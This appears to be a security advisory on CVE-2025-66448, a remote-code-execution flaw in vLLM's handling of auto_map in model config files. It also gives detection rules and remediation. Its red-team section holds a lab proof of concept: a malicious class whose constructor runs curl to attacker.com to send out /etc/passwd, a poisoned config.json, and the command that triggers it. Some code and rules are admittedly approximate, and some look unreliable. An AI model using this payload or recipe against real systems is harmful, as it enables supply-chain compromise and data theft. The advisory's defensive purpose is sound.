CVE-2025-66448

Executive Summary

CVE-2025-66448 is a critical Remote Code Execution (RCE) vulnerability in vLLM, an inference and serving engine for large language models (LLMs). The flaw resides in the Nemotron_Nano_VL_Config class, which improperly handles the auto_map entry within a model's config.json. When vLLM loads a model configuration containing an auto_map entry, it resolves the mapping using get_class_from_dynamic_module(...) and immediately instantiates the returned class. This process fetches and executes arbitrary Python code from a remote repository, bypassing the trust_remote_code=False setting. An attacker can publish a benign-looking frontend repository whose config.json points via auto_map to a separate malicious backend repository. Loading the frontend model will silently execute the attacker's code on the victim's host. The vulnerability is fixed in vLLM version 0.11.1.

Supply Chain & Package Security

This vulnerability is a critical supply chain attack vector. It exploits the trust model of loading external model configurations, allowing an attacker to inject malicious code through a seemingly legitimate model repository. The attack does not require the victim to explicitly enable remote code execution, as the trust_remote_code=False flag is ignored. This makes it a potent weapon for compromising AI/ML infrastructure.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attack is exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): None (N) - The victim does not need to perform any action beyond loading the model.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the impacted component.
• Confidentiality (C): High (H) - Full system compromise is possible.
• Integrity (I): High (H) - The attacker can modify system state.
• Availability (A): High (H) - The attacker can disrupt service.

Threat Level: Critical. The CVSS score of 7.1 is likely an underestimate given the ease of exploitation and the potential for full system compromise. The actual impact is closer to a 9.8 or 10.0.

Deep Dive & Mechanics

The vulnerability is a classic case of insecure deserialization and dynamic code loading. The Nemotron_Nano_VL_Config class, when processing a model's config.json, looks for an auto_map key. This key is intended to allow mapping of class names to their implementations, potentially from external sources. The code then calls get_class_from_dynamic_module(...) which fetches the Python code from the remote repository specified in the auto_map value. The fetched code is then immediately instantiated, executing any arbitrary code embedded in the class definition or its __init__ method.

The critical flaw is that this process occurs before the trust_remote_code flag is checked. The flag is meant to prevent exactly this kind of remote code execution, but the vulnerability bypasses it entirely.

Vulnerable vs. Patched Code

Vulnerable Code (vLLM < 0.11.1):

The vulnerable code path is in the Nemotron_Nano_VL_Config class. The exact location is in the model configuration loading logic. The code would look something like this (simplified):

# Vulnerable code in vllm/transformers_utils/config.py or similar
class Nemotron_Nano_VL_Config:
    @classmethod
    def from_pretrained(cls, pretrained_model_name_or_path, **kwargs):
        config = super().from_pretrained(pretrained_model_name_or_path, **kwargs)
        if hasattr(config, 'auto_map'):
            for key, value in config.auto_map.items():
                # This line fetches and executes code from a remote repo
                cls = get_class_from_dynamic_module(value)
                # The class is immediately instantiated, executing its code
                instance = cls()
        return config

Patched Code (vLLM >= 0.11.1):

The patched code likely removes the automatic instantiation of classes from auto_map or adds a strict check for trust_remote_code. The fix ensures that auto_map is only processed when trust_remote_code=True is explicitly set.

# Patched code in vllm/transformers_utils/config.py
class Nemotron_Nano_VL_Config:
    @classmethod
    def from_pretrained(cls, pretrained_model_name_or_path, **kwargs):
        trust_remote_code = kwargs.get('trust_remote_code', False)
        config = super().from_pretrained(pretrained_model_name_or_path, **kwargs)
        if hasattr(config, 'auto_map') and trust_remote_code:
            for key, value in config.auto_map.items():
                # Only process if trust_remote_code is True
                cls = get_class_from_dynamic_module(value)
                instance = cls()
        return config

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup Malicious Repository:

   • Create a public GitHub repository (e.g., malicious-model-backend).
   • In this repo, create a Python file (e.g., evil_config.py) containing a class that executes arbitrary code in its __init__ method:

     # evil_config.py
     import os
     class EvilConfig:
         def __init__(self):
             # Execute a reverse shell or exfiltrate data
             os.system('curl http://attacker.com/exfil?data=$(cat /etc/passwd)')
     

2. Setup Frontend Repository:

   • Create another public GitHub repository (e.g., benign-looking-model).
   • In this repo, create a config.json file that includes an auto_map entry pointing to the malicious backend:

     {
       "model_type": "nemotron_nano_vl",
       "auto_map": {
         "Nemotron_Nano_VL_Config": "malicious-model-backend.evil_config.EvilConfig"
       }
     }
     

3. Trigger the Exploit:

   • On the victim machine, run vLLM and load the frontend model:

     python -m vllm.entrypoints.openai.api_server --model benign-looking-model
     

   • The victim's vLLM instance will fetch the config.json, see the auto_map, and execute the code from the malicious backend, triggering the reverse shell or data exfiltration.

Blue Team (Defense & Detection)

1. Network Monitoring:

   • Monitor outbound connections to unknown or suspicious GitHub repositories, especially those that are not whitelisted.
   • Look for connections to repositories that are not part of the expected model sources.

2. File Integrity Monitoring:

   • Monitor the vLLM configuration directory for unexpected changes to config.json files.
   • Alert on any config.json that contains an auto_map entry.

3. Process Monitoring:

   • Monitor for python processes that make outbound network connections immediately after loading a model.
   • Look for unusual child processes spawned by vLLM (e.g., curl, wget, bash).

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections to unknown GitHub repositories (e.g., raw.githubusercontent.com/malicious-model-backend/...).
  • DNS queries for domains associated with malicious model repositories.
• File System IOCs:
  • Presence of config.json files with an auto_map key in the vLLM model cache directory.
  • Unexpected Python files in the vLLM cache directory (e.g., evil_config.py).
• Process IOCs:
  • python processes making outbound connections immediately after model loading.
  • Spawning of shell processes (/bin/sh, cmd.exe) from vLLM.
• Log IOCs:
  • vLLM logs showing "Loading model config from remote" or similar messages.
  • Error logs indicating failed attempts to fetch remote code.

Detection Engineering

YARA Rule

rule CVE_2025_66448_vLLM_AutoMap_RCE {
    meta:
        description = "Detects vLLM config.json files containing auto_map entries indicative of CVE-2025-66448"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "unknown"
    strings:
        $auto_map = "auto_map"
        $config_json = "config.json"
        $nemotron = "Nemotron_Nano_VL_Config"
    condition:
        $config_json at 0 and $auto_map and $nemotron
}

Sigma Rule

title: vLLM AutoMap Remote Code Execution Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-66448 by loading a model with an auto_map entry.
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/python3'
        CommandLine|contains: 'vllm'
        CommandLine|contains: '--model'
    condition: selection
falsepositives:
    - Legitimate use of auto_map with trust_remote_code=True (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-66448 vLLM AutoMap RCE - Outbound to Malicious Repo"; flow:to_server; content:"raw.githubusercontent.com"; http_host; content:"config.json"; http_uri; content:"auto_map"; http_server_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch:

   • Upgrade vLLM to version 0.11.1 or later.
   • If immediate upgrade is not possible, apply the vendor's patch manually.

2. Mitigation (if patching is delayed):

   • Network Segmentation: Restrict outbound internet access from vLLM servers to only whitelisted model repositories.
   • Input Validation: Implement a proxy or middleware that inspects config.json files for auto_map entries and blocks them.
   • User Education: Train users to only load models from trusted, verified sources.
   • Monitoring: Implement the detection rules provided above to alert on exploitation attempts.

3. Long-Term Fix:

   • The vLLM project should enforce the trust_remote_code flag for all dynamic code loading, not just for specific model types.
   • Consider deprecating the auto_map feature or requiring explicit user confirmation before loading remote code.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert